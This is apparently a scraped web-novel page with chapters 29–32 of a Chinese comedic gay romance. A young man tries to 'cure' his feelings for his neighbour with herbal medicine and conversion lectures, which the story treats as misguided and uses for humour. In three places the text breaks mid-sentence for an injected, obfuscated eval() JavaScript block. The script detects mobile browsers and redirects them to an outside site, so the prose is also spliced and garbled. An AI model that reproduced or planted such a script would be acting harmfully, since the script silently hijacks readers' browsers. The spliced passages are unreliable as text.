“闪送应该也快把药送过去了,你注意电话。” “好。我收到药就煮上。” 他坚定,“这次一定要调理好。” 阕开霁故作无意:“你自己调理好也没用啊,不是说带邻居一起调理吗,煮完中药也给他喝点。” 闻根:“……” 一整天都在想阕开霁,现在好不容易回到自己家里想用中药转移注意力,没想到神医还是提到阕开霁。 没错,自己是要带阕开霁一起调理,也说了要教他做正常人。 但现在的问题是,他心里乱乱的,根本不想看到阕开霁。 光是想想就会想到矿泉水瓶,想到自己吞过。 现在真见了人,自己更控制不住思绪了。 闻根没说话,阕开霁还忍不住刺激他:“对了,我看你发了小红书问嗓子为什么疼,找到原因了吗?” 闻根嗓子又是一疼。 他吞吞吐吐含糊其辞:“大概找到了。” “为什么疼?” 平凡小闻又开始吞吞吐吐,很长久的“对方正在输入”。 为什么疼? 因为自己吞了矿泉水瓶那么大的…… 这话闻根是怎么都说不出口的。 他逃避:“不是很确定,再看看吧。” 阕开霁:“那你问问邻居呗,他肯定知道。都让你这么疼了,一定要追问出个结果,再严厉批评他。” 闻根:“再说吧。” 阕开霁就等他的再说吧。 但一直等到晚上九点多,才等到闻根的消息。 不是发给神医的,是发给阕开霁的。 “你在家吗?” 阕开霁心情不错:“在家。” 闻根发过来一张照片,好脾气告诉他:“我煮了治疗同性恋的中药,给你送一碗吧。” 阕开霁:“好啊。” 收到阕开霁确定的消息,闻根找了个没用过的碗,认真盛了满满一碗的中药,敲响了隔壁房门。 可能是收到消息早有准备的缘故,阕开霁很快就给他开了门。 …… 闻根在他家门口停住,动作很大,以至于手上不稳,盛得满满的药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716893|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗抖了一下,灰褐色药汤撒在他手上,散发出很浓的中药味。 闻根刚刚也喝了满满一碗,现在闻到这个味道只觉得舌根发麻。但又觉得这么苦涩难喝的中药也一点作用都没有。 要不怎么他现在都没办法把眼睛从阕开霁身上撕下来。 已经九点了,阕开霁刚刚应该在健身,长发高高的扎成丸子头。 现在身上就穿着那个常在vlog里出现的黑色运动背心,已经被汗打湿了,湿漉漉贴在身上,勾勒出肌肉线条。而黑色运动背心底下,是灰色卫裤。 矿泉水瓶的形状格外明显。 闻根之前也知道阕开霁健身,但并没有主动询问过。因为Qamar视频带来的第一印象,他觉得运动是很私人的事情,汗水打湿衣服,身体线条一览无余,就算穿了,也比不穿还……让人想入非非。所以他从来没闻过阕开霁健身的事情,没想到现在,亲眼目睹了。 在阕开霁就是让他想入非非的Qamar的基础上。 闻根目眩神迷,甚至觉得自己站不住。 明明之前很坚定的认为阕开霁就是女人,可现在看着阕开霁有些凌乱的长发、背心下宽阔的肩膀、鼻尖甚至还能闻到淡淡的汗味。 没有甜桃味,没有长发和漂亮的穿搭,就是很明显的男人。 但他…… 但他…… 没有一丝抗拒,甚至还想看更多。虽然他自己都不知道这个更多是多多。 完蛋。 怎么现在中药都不管用了。 阕开霁看他沾满药汤的手腕,把门推得更开:“进来吧。” 闻根磕磕巴巴:“不不用了吧,你把药喝完我就回去。” 呦呵。 之前觉得是女生,孤男寡女深夜还会让自己去他家里喝热水,现在发现自己是男的,还会避嫌了。 阕开霁似笑非笑,劈手接过他手里装得满满的药碗:“太热了,晾凉再喝。” 闻根只好跟着进去。 阕开霁把药碗放到茶几上,他就在沙发上坐下了。 但阕开霁没坐,站在茶几前,俯身拿投影仪的遥控器。 这其实也没什么。 关键是他俯身时,小腹肌肉卷起来,而那个形状也更加明显。 闻根又成了死鱼,并像所有鱼一样,只有七秒的记忆。 他只能一遍又一遍的想。 阕开霁之前也有这东西吗?都这么明显了,自己就从来没注意到过吗? 他试图回忆之前阕开霁的形象,但记不起来一点,满脑子都是现在的场景。 嗓子又开始疼了。 自己真吞了? 这是合理的吗? 阕开霁摸索了一会儿,就等闻根询问自己他的嗓子是怎么回事。 ——他也看到小红书上那些网友的猜测了,明明什么都没做就只照顾醉鬼,还被猜测得这么脏,会让他有点…… 后悔自己怎么偏要当正人君子。 为什么不能像他们猜测的那样,做点不是人的事。 现在就等闻根询问,自己把自己做的事和盘托出,让他知道他是多么以小人之心度君子之腹,知道他的想法是多么龌龊,被误会的自己是多么冤枉。 但一直到阕开霁把药放到最凉,闻根忍不住提醒他喝药。 等他喝完药离开,闻根还是没问。 他一点没问,回到家后倒是告诉神医:“他已经喝过药了。” “我看他喝完药眉头都皱起来了,应该是不习惯喝中药。” “我能给他放点蜂蜜吗?应该不会影响药效吧?” 阕开霁:“……” 好软的包子。 好没脾气的死鱼。 都误以为被欺负到嗓子疼了,面对肇事者不仅没有抱怨没有询问,甚至还贴心的关注到自己嫌药苦,想给自己的药里放蜂蜜。 看到小红书网友猜测时短暂生出的一点后悔现在放大无数倍,几乎烧成小火苗,让他想逆转时空回到昨天晚上。 就算自己真的做了,闻根应该也是这种好脾气,一点不谴责,甚至还不追问吧。 自己错过了什么。 30. 第 30 章 闻根没等多久就等到神医的消息:“不影响,你自己看着办。” 闻根就把家里的蜂蜜翻出来,打算明天再给阕开霁送药的时候加一点。不过要先自己尝尝看是什么味道。 毕竟中药不是单纯的苦,而是各种药材混在一起后味道复杂的难喝,可能加了蜂蜜也不会好太多。 翻出蜂蜜后才发现神医又给他发消息了,医者仁心,非常热心肠的问他:“感觉有好一点吗?” 有好一点吗? 第一次喝中药的时候还没遇到阕开霁,知道自己是同性恋也只是单方面的想到Qamar。喝完中药觉得心无杂念神清意静。 现在好了,喝完中药还能感觉到有药效呢,就给阕开霁送药,迎面而来的美色冲击。 闻根觉得药效和阕开霁的攻击对冲,中药不敌。 但他对神医的医术很有信心,于是迂回:“可能睡一觉会好一点。” 神医:“不好就是不好,干嘛这么婉转。” 闻根:“这次是没有之前见效快,可能是我又见了他的缘故。” 神医:“也有可能是药方变了。” 阕开霁好心告知,“之前天热,药材多是清热去火的,现在马上到秋天,药方主要是滋补养气,可能效果就不是那么好了。主要还是得你自己争气点,药物只是辅助。” 闻根:“好,我知道了,我会争气的。” 还会争气的。 明明一点都不争气。 阕开霁追问:“真的?” 面对追问,闻根哽了一下,并不非常确定,甚至有种自己都没感觉到的心虚:“我会的。” 阕开霁:“那就好。” 叉掉和平凡小闻的对话框,他从抽屉里翻出个什么,戴好,拿着手机到全身镜前,随手一拍。 把今日份照片导入视频剪辑软件,加上bgm,上传今日vlog。 闻根睡前又看了一遍小红书大家给自己的评论。 他依旧试图在评论区找到别的答案。 比如扁桃体发炎,比如感冒前兆,比如喝了酒呕吐后就是会这样的。 但根本没人愿意这么说,大家都在复制那句“你是不是给人家咬了” 闻根忍不住发布评论,并把评论置顶:“会不会是喝多了酒扁桃体发炎?” 底下很快就有网友回复:“非要这么自欺欺人吗?” “好好好,宠你一次,就是喝多了扁桃体发炎,行了吧?” “对,被顶到扁桃体,所以发炎了。” “别挣扎了,都吃过男人勾、巴了就安心当你的同性恋吧。” 闻根又想把帖子删掉了,但犹豫很久,他默默把权限改成仅自己可见。 转完之后又默默在小红书上逛了逛,看了些其他单位的官号,试图学习官方账号怎么吸粉怎么保证内容输出。 没学进去,好像有只小猫爪子一下下挠着他,勾着他转移注意力。 闻根艰难隐忍。 神医说药方换了,说药物只是辅助作用,主要是自己要争气,要用顽强的意志力战胜可怕的同性恋。 自己说了会争气的。 要争气。 …… 不争气的闻根解除对Qamar的拉黑,点进主页。 阕开霁十分钟前更新了。 闻根发现一点不一样。 之前每一次更新里,阕开霁的标题都是“今日份”三个字,内容里会加上tag,#日常#健身两个tag是常驻嘉宾,如果当天吃了味道不错的饭菜,他也会加上#饮食的tag。 但今天,阕开霁在标题“今日份”后面加上了一个胶囊的小表情,胶囊后面是一个眼睛嘴巴都皱起来的表情包。 闻根一下就懂了。 今天吃药了。很难喝。 甚至没点开视频,他点去微信询问阕开霁:“你现在感觉怎么样?” ——看吧,一点都不争气。看到钩子就忍不住咬,呆呆的。 阕开霁:“感觉很不好,太难喝了,刷牙都压不下这个味道。” 闻根抿抿嘴。 不知道是喝习惯了,还是马上就能治好的诱惑太大,他没觉得太难喝,只是各种药味,清清淡淡的像味道古怪一点的小饮料。 不过阕开霁第一次喝,觉得不好喝也是正常的。 阕开霁托着下巴等闻根的回复。 闻根没回复他,中药世家继承人的号却收到了消息。 “神医,喝完中药嘴里苦怎么办啊?” 可能是为了展示想要马上得到答案的迫切,他难得在发完消息后,又发了个:“!” 阕开霁看着那个感叹号,笑意越来越深。 他迅速打字:“含颗薄荷糖压一压。” 闻根马上把方法告诉阕开霁:“含颗薄荷糖压一压。” 阕开霁切号:“没有薄荷糖。” 闻根把消息转给神医:“没有薄荷糖。” 阕开霁再次切号:“含口蜂蜜缓缓得了。” 闻根:“……” 他想到阕开霁空荡荡的家里,除了酒也就厨房为了做疙瘩汤买回来的材料,根本没有糖,更不会有蜂蜜。 自己家里倒是有。 他问阕开霁:“要不含口蜂蜜缓缓?我家里有槐花蜜,给你放门口。” 阕开霁:“不用了,我家有其他糖。” 阕开霁家里居然不是只有红酒,还有糖吗? 看来自己……其实并不了解他。 闻根又点进小红书,接着看阕开霁今日更新。 第一张照片是早上他自己做的那一锅疙瘩汤。浓郁的金黄色,还有青青的蔬菜丁,看上去让人食指大动。 然后他出去了一趟,在S市最高的大楼顶层那家人均四位数的餐厅吃了饭,得到捧花一束。 下午好像开了会。 晚上……健身。 是闻根刚刚看到的黑色背心和灰卫裤。 明明第一眼看到时闻根全部注意力都在阕开霁裸露的肩膀、衣服汗湿贴在身上露出的肌肉轮廓。 但现在看着画面里不露脸的人,脑子却自动给配上阕开霁那张脸。 他扎了丸子头,但还是有碎发散下来,看上去慵懒随意,运动出汗后原本白皙如瓷的皮肤透着粉,嘴唇颜色也更深了,看上去…… 活色生香。 最后一张。 阕开霁还穿着那件汗湿的黑色背心。 青筋鼓起的大臂上,束着黑色臂环。 对镜下往上拍,肩膀和大臂的肌肉看上去大块结实很有压迫感,腰又窄得要命。 黑和白的界限分外明显,而臂环上调解尺寸的环扣泛着银色寒光,被臂环箍着的肌肉鼓鼓的,实时动态里,上面的青筋跳了下。 这一下好像跳在闻根心脏里。本来就不是很管用的中药在美色冲击下溃不成军。闻根甚至开始怀疑神医是不是把药开得太厉害,给自己补得太过分了。 要不怎么喝了那么久清热去火的中药都不管用,他现在只觉得身上热热的,脑子也热热的。 闻根实在是太慌张了,忘记了所有动作,手机非常不懂事的一再重播刚刚的vlog。总共三十多秒的vlog很快播完,最后还是闪出那张照片。 不知道看了多少遍,他听到敲门声,有点轻。闻根被美色冲昏头脑,一时没反应过来,但敲门声也就只有那么三下,之后再也没响过。 手机倒是收到新消息。 阕开霁:“你不是也吃了药吗,给你家门口也放了点糖。” 闻根翻身下床,推开家门,果然在门把手上看到了一小包糖果,用红色布袋包着,布袋上金线绣的红双喜。 但给他送糖的人却不在家门口。 闻根把糖捡起来,看了眼阕开霁关着的房门。 ——他刚刚是穿着那件黑背心和臂环出来的? 有没有撞到其他邻居?走廊里监控时刻有物业盯着的,会被看到吧? 哦不是,自己不应该管别人怎么穿衣服。 他今天出去,是去参加婚宴了? 也不对。 自己不应该对别人的私人行程这么好奇。 闻根拿着这包很明显是喜糖的糖果,站在门口给阕开霁发消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716894|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他依旧绞尽脑汁的斟酌措辞,最后的语气客气疏离。 “不用了,我不觉得苦,你留着自己吃吧。” 阕开霁:“行,那你放我门口吧。” 闻根走到阕开霁门口,把糖放下就要转头离开。手机屏幕亮起,他看到阕开霁的第二条消息。 “反正刚刚敲门都不开,应该是不想见我。” “没爱了心碎了,知道我是男人后就这么防着我。” 闻根都转过头要回家了,看到这两条消息,脚步硬生生止住。 他捧着手机,解释:“没有。” “我刚刚没注意到敲门声。” “呦,您家卧室门隔音还真好啊。” 阕开霁当着他的面装可怜,当着他的面阴阳怪气,闻根都看不出来。现在隔着屏幕只看文字,闻根更是不作他想,回答:“也没有那么好,是我反应慢没想到是我家的敲门声。” “所以不是躲着我?” “没有。” 身后门开了,阕开霁的声音响起来:“糖呢?” 闻根僵硬转过身,语气迟缓:“把手上。” 说完话才敢把眼睛转过去,一口气还没松下又哽住。 刚转身时先看到阕开霁胳膊上的袖子,轻松他终于把那件背心换下来了,但彻底转过身一看,发现阕开霁穿了件睡袍。那件黑织金的,之前穿得整整齐齐,但今天…… 系带松松系着,领口松散,露出大片胸肌。 闻根只觉得鼻子一热,下意识抹了一下。 还好,没流鼻血。 那边阕开霁把把手上的糖拿起,好像根本没发现他的目光,一边拆开糖袋一边问他:“真不苦?” 闻根迟缓摇头。 阕开霁点头,手指从袋子里掏出块巧克力,看闻根:“鼻子怎么了?” 闻根摇头,放下手:“没事。” 阕开霁把巧克力包装拆开,小指抵住闻根的嘴唇,非常自然把巧克力塞进来。 浓郁的巧克力香味在嘴里蔓延,闻根还没反应过来,阕开霁扔下一句:“中药挺好用的,明天喝药的时候记得叫叫我。” 转身回房关门一气呵成,走廊里顿时空荡下来。 闻根在家门口站了两秒,意识恍惚,知道阕开霁已经回家了,但还是呆呆的对着空气点点头,像是迟到的回应。点完头才意识到阕开霁已经离开了,慢吞吞开门回家,拿出手机告诉阕开霁:“好。” 又笨拙商量,“我早上会把中药煮上,但是我八点多就上班了,你八点起床喝药可以吗?” 想到自己之前还说要教阕开霁当个普通人,他补充:“我们普通人都这样。” 阕开霁很好说话的样子:“可以,看你的时间来。” “每次喝药都带上我就行了,也不用麻烦你太久。” 为什么说不用麻烦太久,自己喝了两个疗程的药了,还一点没好。 闻根问:“你觉得好一点了吗?” “嗯,好很多了。” 好很多了…… 闻根慢吞吞:“那就好,这个药很管用,我也觉得自己好很多了。” 好多了。 阕开霁看着这三个字,危险的眯起眼睛。 就算闻根反应明晃晃的说明他根本没有好很多,但听他这么说,心里还是不爽。 想杀鱼。 这边闻根嘴硬加大言不惭,把消息发出去后还没来得及心虚,那边阕开霁消息又发过来了。 “那你不喜欢我了?” 巧克力完全化开,浓郁丝滑,闻根一时不察,被呛了下。 他整张脸都被呛红了,偏头缓了一会儿,拿着手机艰难斟酌措辞,认真回答阕开霁:“我会赶快调理好的。” 他自欺欺人,“我本来,也就是只喜欢你的脸。再喝点药应该就好了。” 阕开霁阴阳怪气:“颜控啊。” “那到时候遇到些长得比我更合胃口的,应该就移情别恋了吧。” 闻根顺着说:“嗯……” 还嗯。 阕开霁冷笑。 看来还是自己领口开得太高了。 31. 第 31 章 闻根又梦到阕开霁了。 没什么具体的场景,就是散碎片段,一幕幕闪过。 之前也不是没梦到过,睡梦中的闻根也没觉得有什么。 但第二天醒来,闻根却觉得自己的天都塌了。 外面天色才刚刚亮,他迅速爬起来,换了衣服,去厨房把中药煮上。 然后……把床单丢到洗衣机,大清早去洗澡。 洗完澡换上新床单,时间也才七点多。 闻根整个人反应迟钝,躺到床上拿出手机。 他个人是想点进小红书搜索这时候该怎么办的,但手指不听使唤,点进阕开霁的主页。 点进去后意识到自己做了什么,又飞快退出去。 系统自动刷新,给他推了条新图文。 “你染上同性恋了?你才二三十岁,碰什么不好碰同性恋,同性恋都什么样你也不是不知道,每天不看异性所有目光都集中在同性直人身上,一年三百六十五天有三百六十天要单恋,直人恋爱还要当舔狗,每天又哭又笑脑子不正常!让你早点喝中药调理一下你也不听,现在好了吧,戒不掉了!” 闻根觉得每一句好像都在说自己。 他诚恳:“那现在该怎么办呢?我已经喝过中药了,但没用。” 贴主刷新一下,看到最新评论,随意回复:“扣一给你发戒同所全套戒同课程。” 闻根忙不迭:“一。” 但贴主没回他了。 闻根的中药好了,他喝了一碗,给阕开霁留一碗,剩下的都装到保温杯里带走。 一直到单位,他在工位上做好,这才给阕开霁发消息。 “中药煮好了,我给你留了一碗,你醒了可以喝。” 两分钟后,又默默补充:“还有早饭,你也可以吃。” 阕开霁的消息弹出来:“给我放门口了?” “在我家厨房,你进去吃吧。钥匙在家门口的地毯底下。还有,沙发上有上次你借给我穿的衣服,我洗干净了,你也一起拿走吧。” “你不在家?” “我在单位。” “躲我?” 闻根被说中心思,下意识往后仰身,盯着阕开霁的消息看了一会儿,逃避:“你记得喝 。” 阕开霁过了十分钟给他发消息:“喝了。” 闻根应:“好。” 他叉掉和阕开霁的聊天页面,接着编辑公众号推文。 好一会儿也没写出什么,忍不住又点开阕开霁的聊天页面,询问:“你觉得好一点了吗?” 阕开霁:“好多了。” 闻根:“……” 他闷闷:“哦。” 阕开霁好多了,看来神医的药是有用的。 但为什么自己就没有好多了? 看来自己真的太严重了,又没什么自制力,需要配合其他方式改善。 闻根点开小红书,找到早上那个贴主,再三刷新,发现对方还是没给自己戒同所全套戒同课程。 倒是有粉丝刷到了他,在底下问他:“深柜真巧啊,没想到会在这里碰到你。” “哈哈哈深柜人设不倒。” 闻根忍不住询问:“请问全套戒同课程能给我吗?” 刷新等回复时,领导给他旁边的同事拿文件,经过时扫了一眼他。 没看清具体在看什么,只看到熟悉的小红书页面。 领导随口:“小闻看小红书呢?” “咱们上次推文浏览量怎么样?” 闻根心虚按灭手机,回答:“还是那样,一周过去,浏览量有三百多。” 领导感慨:“怎么就是上不去呢?你多看看别人都怎么弄的。” 闻根应:“好。” 再打开手机。 有人给他发全套戒同课程了。 和AAA中药世家继承人一样,热心善良还非常体贴。不仅给他课程,还贴心告诉他:“深柜,这是我千辛万苦找到的全套课程,你要好好听啊。还有,这是戒同所的作息,你最好搭配这个作息表每天坚持,相信你一定不会好起来的!” 闻根一眼扫过去,甚至都来不及在意对方对自己的称呼是深柜,感动:“谢谢你,我一定会好起来的。” 他飞快接收压缩包文件,又把作息表打开。 作息表也就是早睡早起坚持喝药坚持朗读戒同语录、每天起码要听半小时戒同讲座录音,如果可以要积极参加反同活动。 闻根没有犹豫,当即解压文件,拿出耳机开始听戒同讲座录音。 录音带听上去很久远了,带着电流滋啦声,主讲人应该是个老头,声音苍老,说得快了还带着浓浓的口音。但声音洪亮,大声讲阴阳调和才是天道,同性恋都是颠倒乾坤的乱臣贼子,就是社会的蛀虫! 闻根一心二用,又要从老头带着口音的声音里分辨出他在讲什么,其实也没听出来什么。但被老头慷慨激越的情绪一带,也觉得同性恋简直罪大恶极。而冥顽不改的自己就应该被钉死在耻辱柱上! 他真为自己是个同性恋感到羞愧!以后再也不能再当同性恋了! 闻根下意识要把这么有用的讲座分享给阕开霁。 但都点击分享了,又点了叉。 阕开霁就算是同性恋也不是蛀虫。 他是美丽的蝴蝶,只有自己。 = 闻根默默听了一上午的讲座。 中午吃过饭后,把保温杯里剩下的中药喝光,午睡休息一小时。 下午去培训,倒是没来得及听讲座。 等晚上下班回去,路上把剩下的讲座听完,闻根觉得自己整个人都被净化了。 同性恋就是个坏毛病,但只要自己不认输,一定能戒掉! 信誓旦旦的闻根回家后把耳机摘下来,让手机公放,情绪激昂充满正气的讲座录音充满整个房间。 闻根在这个声音里给自己把中药煮上。 手机有滴答滴答响起来,讲座声音一下就中断了。 闻根拿起手机,发现是阕开霁给自己发消息。 “下班了吗?我煮了疙瘩汤,换你的中药。” 和消息一起发过来的,是一张照片。 疙瘩汤冒着热气,看上去喷香诱人。 闻根:“你不拿疙瘩汤换我也会给你中药的。” 阕开霁:“我知道。” “所以我连你的也煮上了,过来吃。” 闻根被讲座念叨得坚定的心肠再次柔软起来。 但在意识到这点柔软后,又强硬让自己不要这么轻易被蛊惑。 阴阳调和才是王道,自己这种普通人就不要做试图逆转乾坤这种一点都不普通的事情了。 他回复阕开霁:“谢谢你,但我不吃了吧,我自己做饭。” 阕开霁:“吃同性恋做的疙瘩汤不会被传染同性恋。而且我又不是不喝药。” 闻根:“……” 阕开霁:“喝吗?” 闻根:“我现在过去。” = 阕开霁问的是要不要喝疙瘩汤,其实不只准备了疙瘩汤。 还有超大一份蔬菜沙拉,以及一大份水煮虾。 疙瘩汤反而就一小锅,闻根盛了一碗后,只剩下小半碗。 闻根看着阕开霁那小半碗疙瘩汤,把碗推过去:“我再给你点。” “不用。” 阕开霁挡了下碗,“我得少吃点碳,最近体脂升太多了。” vlog里的肌肉在脑海中一闪而过,又被闻根强行按下去。他闷闷告诉阕开霁:“你不胖啊。” 阕开霁上下扫他,表情微妙:“我确定你是个直男了。” 闻根有些心虚。 但他觉得,自己虽然现在还不是直男,但在自己的努力调理下,最后一定会重新变成普通的异性恋。 他没有反驳。 阕开霁虽然嫌弃他的直男,但还是好心解释:“体脂低的肌肉线条明显,高的话会更……润一点。” 闻根忍不住看了眼对面的阕开霁。 阕开霁吃菜叶子,若无其事把手机递过来:“不知道吧?幸好我有备份,你看,一月的时候体脂率是10,这个月吃多了快碳,变12了。” 手机屏幕上,是Qanar后台主页,一长串的个人作品。 虽然没有点开看,但闻根清楚知道所有视频的详细内容。 手机突然变成烫手山芋。闻根不敢看,也赧于让阕开霁知道,自己看过他的视频。 他胡乱把手机推过去,转移话题:“你……粉丝挺多的,怎么做到的?我们单位的账号就没粉丝。” 阕开霁:“随便发发就行了。” “对了,你会剪视频吗?” 闻根:“嗯。你要剪视频吗?我可以帮你。” “多麻烦你啊。” “还好,如果素材少,今天就能剪出来。” “不多,那吃完饭你帮我弄一下。” 闻根点头。 吃完饭阕开霁把餐盘丢到洗碗机里,从书房拿出电脑。 他把电脑开机,提前给闻根预警:“我想蹭个热点,看能不能再涨些粉丝。” 闻根那点事业心也微弱烧起来,他想到单位号寥寥无几的浏览量,问:“什么热点?” “变装。” 阕开霁平淡回答,点开素材。 皮鞋西裤腰带一丝不苟,衬得腿长得要命。上身却只穿了个皮夹克,敞着,胸肌被皮夹克遮住一半,腹肌一览无余,皮夹克下摆,鲨鱼线若隐若现。 手插在裤兜里,就这么一步步走过来,表情高傲的踢腿。 镜头被拉远。 然后阕开霁走过来,俯身拿起手机。敞开的皮夹克垂下去,胸肌几乎要挤爆屏幕。 闻根眼神都恍惚了。 视频结束,阕开霁又点开下一个素材。 这个素材里穿得严严实实,酒红色衬衣,打了领带,黑色西装马甲压下酒红色衬衣的轻浮,又把腰箍得极窄。 衬衣袖口有亮晶晶的水晶袖口,带了手表的手腕鼓着青筋,手里…… 拿着折起来的皮带。 他就这么走过来,若无其事看着镜头,又好像下一秒就会把皮带甩过来 闻根瞳孔地震,呼吸都乱了。 阕开霁若无其事:“素材就这两个,我看平台有个模板,照着剪一下配同样的bgm就好。不过需要把我的脸还有些会泄露隐私的地方遮一下。” 闻根干咽了口,勉强找回理智:“什么模板?” 阕开霁就给他看。 视频很短,就是穿着一套衣服走过来,抬腿提镜头,然后变成慢镜头并切换下一套衣服, 阕开霁异常客气礼貌贴心,蝴蝶收敛华丽翅膀,看上去温软无害:“你不用着急,慢慢剪就好。” “对了,如果方便的话,把脸,还有后面背景这些会暴露隐私的地方剪掉。” 闻根脑子钝得几乎转不过弯,缓了两秒才明白阕开霁的意思,应声。 阕开霁就把电脑全权交给闻根,自己坐在一边玩手机。 闻根抱着电脑愣了一会儿,失去剪辑能力般,丝毫不知道怎么下手。过了一会儿,默默把电脑声音调小,小心翼翼用余光看阕开霁。 阕开霁正在看手机,根本没注意他。 闻根手指颤抖,内心一再谴责自己,但还是忍不住调出素材,点击重新播放。 阕开霁之前穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716895|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运动背心随手对镜不露脸拍出来的都张力十足,现在精心打扮穿着正装,一举一动都性张力爆棚。 但自己真不是同性恋。 不能再看了。 不能再看了! 闻根终于用自己微弱的自制力控制住内心不断重播这两段素材的渴望,艰难把素材拖到剪辑框里。 要把会暴露隐私的地方剪掉。 闻根先选中阕开霁那张美得天怒人怨的脸。一键把脖子往上的部分剪掉,又一帧一帧一帧检查,保证脸看不到了。 闻根点击播放,看不露脸之后的效果。 …… 视频效果还是那么张力爆棚。 ——他自己都在没看到阕开霁那张脸之前就先被肌肉蛊惑,现在把脸再剪掉当然也没有任何影响。 闻根默默又添加模糊特效,把阕开霁身后的背景模糊处理。 再次重播,还是觉得视频非常容易暴露隐私。 再剪掉一些内容可能会好一点。 房间里一时只剩下敲击键盘和滑动鼠标的声音。阕开霁从手机上抬眼,看闻根。 他正聚精会神的看着电脑,从拨弄鼠标来回拉进度的手和反复重播的BGM里能看出来,确实真的在认真剪辑视频,根本没有在意视频内容。 电脑屏幕在镜片闪着绿光,看上去有点诡异。 阕开霁多看了两眼,内心不耐烦啧了声。 不管用了? 才看那么几次就脱敏了? 男人,果然是喜新厌旧不断追求新鲜感。 他只好重新给出刺激,凑过去,把下巴放在闻根肩膀上,问:“好了吗?” 长卷头发散在肩膀后面,肩膀上被尖尖的下巴戳得有点痛,鼻尖都是甜桃的香味。闻根整个人僵直一瞬,很快反应过来,把电脑转过来给阕开霁看:“好了。” 视频剪辑结束,他点击播放给阕开霁看。 BGM响起,视频开始播放。 竖屏的素材现在被剪得变成横屏,阕开霁只看到一双穿着西裤的腿走过来。 那双腿越走越近,视角不断放大但能拍到的腿越来越少,然后抬脚踢了下镜头。下一秒,这双腿换了条西裤,走远了。 别说脸了,就连大腿都没漏。 阕开霁把下巴从闻根肩膀上拿开,拉开距离,红棕卷头顺着肩膀滑下去,在空中荡了一下。那双蓝灰色眼睛似笑非笑看闻根。 闻根心虚至极,不打成招:“我把会暴露隐私的内容都剪掉了。” 阕开霁点头,礼貌询问:“那粉丝如何判断这个人是我呢?” 闻根:“看到腿就能认出来了吧。” 阕开霁:“我以为这个热点卖点在肌肉。” 闻根先是为自己把卖点肌肉全部剪掉心虚一瞬,随后意识到阕开霁其实对他的粉丝想看到什么心知肚明。所以和自己说是日常vlog随便拍拍,其实每一个视频都要发健身内容,现在还开始追热点卖肌肉。 他的那些粉丝!包括自己,就是被这么吸引来的! 但自己不能当同性恋了,自己不能再看他的vlog了! 可阕开霁还在一直拍,还为了追热点这么直白的卖肌肉…… 闻根隐忍小声:“擦边吗?” 阕开霁眼神危险:“你说什么?” 闻根鼓起勇气:“你还说是随便拍拍,其实就是搞擦边才吸引这么多粉丝。” 阕开霁不可置信:“你说我是擦边男?” 闻根哽了一下,不敢看阕开霁,脑子里却都是阕开霁。Qamar的那些视频他看了无数遍,现在不加克制在脑海里一再浮现。 闻根刚刚还觉得阕开霁知道大家喜欢看肌肉所以才总露肉,但这么想想,阕开霁并没有直白露过肉,他就是拍自己的日常,吃饭健身出去玩,就是健身时,肌肉线条实在是太好看了。 不能怪阕开霁。 怪自己是个不坚定的同性恋,淫者见淫。 嘴唇微动,闻根想要道歉。 阕开霁指责:“别乱说。” “你知道什么叫男菩萨吗?” 闻根把道歉咽下去:“哦。” 但阕开霁并不满足,非要论个长短:“我并没有搞擦边,也没有想当男菩萨,我就是在记录生活。” “你知道的,我父母不在了,平时也没什么朋友,没人和我一起分享生活,只能发到网上去了。” 闻根原本十分的内疚现在变成一万两千分。 他道歉:“对不起啊。我不是故意这么说你的。” 阕开霁指责:“你就是故意的。” 闻根:“……” “以为我是女生的时候说我是蝴蝶公主,现在发现我是男的,就说我是擦边男。” 阕开霁幽幽叹气,“男人啊。” 闻根越发内疚,脑袋重得根本抬不起来,“对不起。” 阕开霁看他垂头时拱起的脖颈,压下得逞笑意,转而放软语气,不再指责:“没关系,肯定不只是你一个人这么想,那些人大概也都把我当擦边男吧。” 闻根:“那你就不要发到网上去了。” 不要再发到网上去给这么多人看了。 阕开霁:“不发到网上去,那我发给你吗?” 不发到网上但发给自己。 好像有一只蝴蝶飞到工蚁身边,扇动着美丽的翅膀,问他翅膀漂亮吧,以后只给他一个人看。 下午循环了那么久的戒同讲座,什么阴阳和谐什么颠倒乾坤都忘到脑后。闻根根本拒绝不了这种诱惑,仅有的一丝理智也只够让他不要那么快答应下来。 但阕开霁却不给他理智回笼的机会,自顾自决定:“那我以后发给你好了。” 32. 第 32 章 闻根当天晚上就收到阕开霁的分享——那两个素材。 当然,不是被他剪得什么都看不到的素材,而是最开始高清□□,清晰得像是能从屏幕里走出来的,原版素材。 除了两个视频,阕开霁还给他发了另外一个视频,就是Qamar平时上传更新的视频。许多照片按照时间顺序剪辑在一起,配上BGM,隐隐有点卡点。 